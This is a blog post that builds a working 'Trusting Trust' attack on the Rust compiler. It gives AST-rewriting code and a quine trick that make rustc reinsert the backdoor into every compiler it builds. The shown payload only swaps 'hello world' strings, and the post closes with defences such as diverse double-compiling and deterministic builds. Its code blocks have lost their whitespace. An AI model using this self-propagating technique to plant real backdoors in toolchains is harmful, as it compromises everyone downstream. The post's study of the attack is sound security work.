Reflections on Rusting Trust

The Rust compiler is written in Rust. This is overall a pretty common practice in compiler development. This usually means that the process of building the compiler involves downloading a (typically) older version of the compiler.

This also means that the compiler is vulnerable to what is colloquially known as the “Trusting Trust” attack, an attack described in Ken Thompson’s acceptance speech for the 1983 Turing Award. This kind of thing fascinates me, so I decided to try writing one myself. It’s stuff like this which started my interest in compilers, and I hope this post can help get others interested the same way.

To be clear, this isn’t an indictment of Rust’s security. Quite a few languages out there have popular self-hosted compilers (C, C++, Haskell, Scala, D, Go) and are vulnerable to this attack. For this attack to have any effect, one needs to be able to uniformly distribute this compiler, and there are roughly equivalent ways of doing the same level of damage with that kind of access.

If you already know what a trusting trust attack is, you can skip the next section. If you just want to see the code, it’s in the trusting-trust branch on my Rust fork, specificallythis code.

The attack

The essence of the attack is this:

An attacker can conceivably change a compiler such that it can detect a particular kind of application and make malicious changes to it. The example given in the talk was the UNIX login program — the attacker can tweak a compiler so as to detect that it is compiling the login program, and compile in a backdoor that lets it unconditionally accept a special password (created by the attacker) for any user, thereby giving the attacker access to all accounts on all systems that have login compiled by their modified compiler.

However, this change would be detected in the source. If it was not included in the source, this change would disappear in the next release of the compiler, or when someone else compiles the compiler from source. Avoiding this attack is easily done by compiling your own compilers and not downloading untrusted binaries. This is good advice in general regarding untrusted binaries, and it equally applies here.

To counter this, the attacker can go one step further. If they can tweak the compiler so as to backdoor login, they could also tweak the compiler so as to backdoor itself. The attacker needs to modify the compiler with a backdoor which detects when it is compiling the same compiler, and introduces itself into the compiler that it is compiling. On top of this it can also introduce backdoors into login or whatever other program the attacker is interested in.

Now, in this case, even if the backdoor is removed from the source, every compiler compiled using this backdoored compiler will be similarly backdoored. So if this backdoored compiler somehow starts getting distributed, it will spread itself as it is used to compile more copies of itself (e.g. newer versions, etc). And it will be virtually undetectable — since the source doesn’t need to be modified for it to work; just the non-human-readable binary.

Of course, there are ways to protect against this. Ultimately, before a compiler for language X existed, that compiler had to be written in some other language Y. If you can track the sources back to that point you can bootstrap a working compiler from scratch and keep compiling newer compiler versions till you reach the present. This raises the question of whether or not Y’s compiler is backdoored. While it sounds pretty unlikely that such a backdoor could be so robust as to work on two different compilers and stay put throughout the history of X, you can of course trace back Y back to other languages and so on till you find a compiler in assembly that you can verify¹.

Backdooring Rust

Alright, so I want to backdoor my compiler. I first have to decide when in the pipeline the code that insert backdoors executes. The Rust compiler operates by taking source code, parsing it into a syntax tree (AST), transforming it into some intermediate representations (HIR and MIR), and feeding it to LLVM in the form of LLVM IR, after which LLVM does its thing and creates binaries. A backdoor can be inserted at any point in this stage. To me, it seems like it’s easier to insert one into the AST, because it’s easier to obtain AST from source, and this is important as we’ll see soon. It also makes this attack less practically viable², which is nice since this is just a fun exercise and I don’t actually want to backdoor the compiler.

So the moment the compiler finishes parsing, my code will modify the AST to insert a backdoor.

First, I’ll try to write a simpler backdoor; one which doesn’t affect the compiler but instead affects some programs. I shall write a backdoor that replaces occurrences of the string “hello world” with “जगाला नमस्कार”, a rough translation of the same in my native language.

Now, in rustc, the rustc_driver crate is where the whole process of compiling is coordinated. In particular,phase_2_configure_and_expand is run right after parsing (which is phase 1). Perfect. Within that function, the krate variable contains the parsed AST for the crate³, and we need to modify that.

In this case, there’s already machinery in syntax::fold for mutating ASTs based on patterns. AFolder basically has the ability to walk the AST, producing a mirror AST, with modifications. For each kind of node, you get to specify a function which will produce a node to be used in its place. Most such functions will default to no-op (returning the same node).

So I write the following Folder:

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051

// Understanding the minute details of this code isn't important; it is a bit complex// since the API used here isn't meant to be used this way. Focus on the comments.modtrust{usesyntax::fold::*;usesyntax::ast::*;usesyntax::parse::token::InternedString;usesyntax::ptr::P;structTrustFolder;// The trait contains default impls which we override for specific casesimplFolderforTrustFolder{// every time we come across an expression, run this function// on it and replace it with the produced expression in the treefnfold_expr(&mutself,expr:P<Expr>)->P<Expr>{// The peculiar `.map` pattern needs to be used here// because of the way AST nodes are stored in immutable// `P<T>` pointers. The AST is not typically mutated.expr.map(|mutexpr|{matchexpr.node{ExprKind::Lit(refmutl)=>{*l=l.clone().map(|mutl|{// look for string literalsifletLitKind::Str(refmuts,_)=l.node{// replace their contentsifs=="hello world"{*s=InternedString::new("जगाला नमस्कार");}}l})}_=>()}// recurse down expression with the default foldnoop_fold_expr(expr,self)})}fnfold_mac(&mutself,mac:Mac)->Mac{// Folders are not typically supposed to operate on pre-macro-expansion ASTs// and will by default panic here. We must explicitly specify otherwise.noop_fold_mac(mac,self)}}// our entry pointpubfnfold_crate(krate:Crate)->Crate{// make a folder, fold the crate with itTrustFolder.fold_crate(krate)}}

I invoke it by calling let krate = trust::fold_crate(krate); as the first line of phase_2_configure_and_expand.

I create a stage 1 build⁴ of rustc (make rustc-stage1). I’ve already set up rustup to have a “stage1” toolchain pointing to this folder (rustup toolchain link stage1 /path/to/rust/target_triple/stage1), so I can easily test this new compiler:

12345

// test.rsfnmain(){letx="hello world";println!("{}",x);}

123

$ rustup run stage1 rustc test.rs$ ./testजगाला नमस्कार

Note that I had the string on a separate line instead of directly doing println!("hello world"). This is because our backdoor isn’t perfect; it applies to the pre-expansion AST. In this AST,println! is stored as a macro and the "hello world" is part of the macro token tree; and has not yet been turned into an expression. Our folder ignores it. It is not too hard to perform this same attack post-expansion, however.

So far, so good. We have a compiler that tweaks “hello world” strings. Now, let’s see if we can get it to miscompile itself. This means that our compiler, when compiling a pristine Rust source tree, should produce a compiler that is similarly backdoored (with the trust module and thetrust::fold_crate() call).

We need to tweak our folder so that it does two things:

• Inserts the let krate = trust::fold_crate(krate); statement in the appropriate function (phase_2_configure_and_expand) when compiling a pristine Rust source tree
• Inserts the trust module

The former is relatively easy. We need to construct an AST for that statement (can be done by invoking the parser again and extracting the node). The latter is where it gets tricky. We can encode instructions for outputting the AST of the trust module, but these instructions themselves are within the same module, so the instructions for outputting these instructions need to be included, and so on. This clearly isn’t viable.

However, there’s a way around this. It’s a common trick used in writing quines, which face similar issues. The idea is to put the entire block of code in a string. We then construct the code for the module by doing something like

1234567891011121314

modtrust{staticSELF_STRING:&'staticstr="/* stringified contents of this module except for this line */";// ..fnfold_mod(..){// ..// this produces a string that is the same as the code for the module containing it// SELF_STRING is used twice, once to produce the string literal for SELF_STRING, and// once to produce the code for the moduleletcode_for_module="mod trust { static SELF_STRING: &'static str = \""+SELF_STRING+"\";"+SELF_STRING+"}";insert_into_crate(code_for_module);// ..}// ..}

With the code of the module entered in, this will look something like

123456789101112131415161718192021222324252627

modtrust{staticSELF_STRING:&'staticstr="        // ..         fn fold_mod(..) {            // ..            // this produces a string that is the same as the code for the module containing it            // SELF_STRING is used twice, once to produce the string literal for SELF_STRING, and            // once to produce the code for the module            let code_for_module = \"mod trust { static SELF_STRING: &'static str = \\\"\" + SELF_STRING + \"\\\";\" + SELF_STRING + \"}\";            insert_into_crate(code_for_module);            // ..        }        // ..    ";// ..fnfold_mod(..){// ..// this produces a string that is the same as the code for the module containing it// SELF_STRING is used twice, once to produce the string literal for SELF_STRING, and// once to produce the code for the moduleletcode_for_module="mod trust { static SELF_STRING: &'static str = \""+SELF_STRING+"\";"+SELF_STRING+"}";insert_into_crate(code_for_module);// ..}// ..}

So you have a string containing the contents of the module, except for itself. You build the code for the module by using the string twice – once to construct the code for the declaration of the string, and once to construct the code for the rest of the module. Now, by parsing this, you’ll get the original AST!

Let’s try this step by step. Let’s first see if injecting an arbitrary string (use foo::bar::blah) works, without worrying about this cyclical quineyness:

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172

modtrust{// dummy string just to see if it gets injected// inserting the full code of this module has some practical concerns// about escaping which I'll address laterstaticSELF_STRING:&'staticstr="use foo::bar::blah;";usesyntax::fold::*;usesyntax::ast::*;usesyntax::parse::parse_crate_from_source_str;usesyntax::parse::token::InternedString;usesyntax::ptr::P;usesyntax::util::move_map::MoveMap;userustc::session::Session;structTrustFolder<'a>{// we need the session to be able to parse things. No biggie.sess:&'aSession,}impl<'a>FolderforTrustFolder<'a>{fnfold_expr(&mutself,expr:P<Expr>)->P<Expr>{expr.map(|mutexpr|{matchexpr.node{ExprKind::Lit(refmutl)=>{*l=l.clone().map(|mutl|{ifletLitKind::Str(refmuts,_)=l.node{ifs=="hello world"{*s=InternedString::new("जगाला नमस्कार");}}l})}_=>()}noop_fold_expr(expr,self)})}fnfold_mod(&mutself,m:Mod)->Mod{// move_flat_map takes a vector, constructs a new one by operating// on each element by-move. Again, needed because of `P<T>`letnew_items=m.items.move_flat_map(|item|{// we want to modify this function, and give it a sibling from SELF_STRINGifitem.ident.name.as_str()=="phase_2_configure_and_expand"{// parse SELF_STRINGletnew_crate=parse_crate_from_source_str("trust".into(),SELF_STRING.into(),&self.sess.parse_sess).unwrap();// extract the first item contained in it, which is the use statementletinner_item=new_crate.module.items[0].clone();// move_flat_map needs an iterator of items to insertvec![inner_item,item].into_iter()}else{vec![item].into_iter()}});letm=Mod{inner:m.inner,items:new_items,};noop_fold_mod(m,self)}fnfold_mac(&mutself,_mac:Mac)->Mac{noop_fold_mac(_mac,self)}}pubfnfold_crate(krate:Crate,sess:&Session)->Crate{letmutfolder=TrustFolder{sess:sess};folder.fold_crate(krate)}}

We also change the original call in phase_2_configure_and_expand to let krate = trust::fold_crate(krate, sess);

Compiling with make rustc-stage2 (we now want the backdoored stage1 compiler to try and compile the same sources and fudge the phase_2_configure_and_expand function the second time around), gets us this error:

12345678

rustc:x86_64-apple-darwin/stage1/lib/rustlib/x86_64-apple-darwin/lib/librustc_drivererror[E0432]:unresolvedimport`foo::bar::blah`-->trust:1:5|1|usefoo::bar::blah;|^^^^^^^^^^^^^^Maybeamissing`externcratefoo;`?error:abortingduetopreviouserror

This is exactly what we expected! We inserted the code use foo::bar::blah;, which isn’t going to resolve, and thus got a failure when compiling the crate the second time around.

Let’s add the code for the quineyness and for inserting the fold_crate call:

123456789101112131415161718192021222324252627282930313233343536373839404142

fnfold_mod(&mutself,m:Mod)->Mod{letnew_items=m.items.move_flat_map(|item|{// look for the phase_2_configure_and_expand functionifitem.ident.name.as_str()=="phase_2_configure_and_expand"{// construct the code for the module contents as described earlierletcode_for_module=r###"mod trust { static SELF_STRING: &'static str = r##"###.to_string()+r###"##""###+SELF_STRING+r###""##"###+r###"##;"###+SELF_STRING+"}";// Parse it into an AST by creating a crate only containing that codeletnew_crate=parse_crate_from_source_str("trust".into(),code_for_module,&self.sess.parse_sess).unwrap();// extract the AST of the contained moduleletinner_mod=new_crate.module.items[0].clone();// now to insert the fold_crate() callletitem=item.map(|muti|{ifletItemKind::Fn(..,refmutblock)=i.node{*block=block.clone().map(|mutb|{// create a temporary crate just containing a fold_crate callletnew_crate=parse_crate_from_source_str("trust".into(),"fn trust() {let krate = trust::fold_crate(krate, sess);}".into(),&self.sess.parse_sess).unwrap();// extract the AST from the parsed temporary crate, shove it in hereifletItemKind::Fn(..,refblk)=new_crate.module.items[0].node{b.stmts.insert(0,blk.stmts[0].clone());}b});}i});// yield both the created module and the modified function to move_flat_mapvec![inner_mod,item].into_iter()}else{vec![item].into_iter()}});letm=Mod{inner:m.inner,items:new_items,};noop_fold_mod(m,self)}

The #s let us specify “raw strings” in Rust, where I can freely include other quotation marks without needing to escape things. For a string starting with n pound symbols, we can have raw strings with up to n - 1 pound symbols inside it. The SELF_STRING is declared with four pound symbols, and the code in the trust module only uses raw strings with three pound symbols. Since the code needs to generate the declaration of SELF_STRING (with four pound symbols), we manually concatenate extra pound symbols on – a 4-pound-symbol raw string will not be valid within a three- pound-symbol raw string since the parser will try to end the string early. So we don’t ever directly type a sequence of four consecutive pound symbols in the code, and instead construct it by concatenating two pairs of pound symbols.

Ultimately, the code_for_module declaration really does the same as:

1

letcode_for_module="mod trust { static SELF_STRING: &'static str = \""+SELF_STRING+"\";"+SELF_STRING+"}";

conceptually, but also ensures that things stay escaped. I could get similar results by calling into a function that takes a string and inserts literal backslashes at the appropriate points.

To update SELF_STRING, we just need to include all the code inside the trust module after the declaration of SELF_STRING itself inside the string. I won’t include this inline since it’s big, but this is what it looks like in the end.

If we try compiling this code to stage 2 after updating SELF_STRING, we will get errors about duplicate trust modules, which makes sense because we’re actually already compiling an already- backdoored version of the Rust source code. While we could set up two Rust builds, the easiest way to verify if our attack is working is to just use #[cfg(stage0)] on the trust module and thefold_crate call⁵. These will only get included during “stage 0” (when it compiles the stage 1 compiler⁶), and not when it compiles the stage 2 compiler, so if the stage 2 compiler still backdoors executables, we’re done.

On building the stage 2 (make rustc-stage2) compiler,

123

$ rustup run stage2 rustc test.rs$ ./testजगाला नमस्कार

I was also able to make it work with a separate clone of Rust:

12345678910111213141516171819202122

$ cd /path/to/new/clone# Tell rustup to use our backdoored stage1 compiler whenever rustc is invoked# from anywhere inside this folder.$ rustup override set stage1 # Works with stage 2 as well.# with --enable-local-rust, instead of the downloaded stage 0 compiler compiling# stage 0 internal libraries (like libsyntax), the libraries from the local Rust get used. Hence we# need to check out a git commit close to our changes. This commit is the parent of our changes,# and is bound to work$ git checkout bfa709a38a8c607e1c13ee5635fbfd1940eb18b1# This will make it call `rustc` instead of downloading its own compiler.# We already overrode rustc to be our backdoored compiler for this folder# using rustup$ ./configure --enable-local-rust# build it!$ make rustc-stage1# Tell rustup about the new toolchain$ rustup toolchain link other-stage1 /path/to/new/clone/target_dir/stage1$ rustup run other-stage1 rustc test.rs$ ./testजगाला नमस्कार

Thus, a pristine copy of the rustc source has built a compiler infected with the backdoor.

So we now have a working trusting trust attack in Rust. What can we do with it? Hopefully nothing! This particular attack isn’t very robust, and while that can be improved upon, building a practical and resilient trusting trust attack that won’t get noticed is a bit trickier.

We in the Rust community should be working on ways to prevent such attacks from being successful, though.

A couple of things we could do are:

• Work on an alternate Rust compiler (in Rust or otherwise). For a pair of self-hosted compilers, there’s a technique called “Diverse Double-Compiling” wherein you choose an arbitrary sequence of compilers (something like “gcc followed by 3x clang followed by gcc” followed by clang), and compile each compiler with the output of the previous one. Difficulty of writing a backdoor that can survive this process grows exponentially.
• Try compiling rustc from its ocaml roots, and package up the process into a shell script so that you have reproducible trustworthy rustc builds.
• Make rustc builds deterministic, which means that a known-trustworthy rustc build can be compared against a suspect one to figure out if it has been tampered with.

Overall trusting trust attacks aren’t that pressing a concern since there are many other ways to get approximately equivalent access with the same threat model. Having the ability to insert any backdoor into distributed binaries is bad enough, and should be protected against regardless of whether or not the backdoor is a self-propagating one. If someone had access to the distribution or build servers, for example, they could as easily insert a backdoor into the server, or place a key so that they can reupload tampered binaries when they want. Now, cleaning up after these attacks is easier than trusting trust, but ultimately this is like comparing being at the epicenter of Little Boy or the Tsar Bomba – one is worse, but you’re atomized regardless, and your mitigation plan shouldn’t need to change.

But it’s certainly an interesting attack, and should be something we should at least be thinking about.

Thanks to Josh Matthews, Michael Layzell, Diane Hosfelt, Eevee, and Yehuda Katz for reviewing drafts of this post.

Discuss: HN, Reddit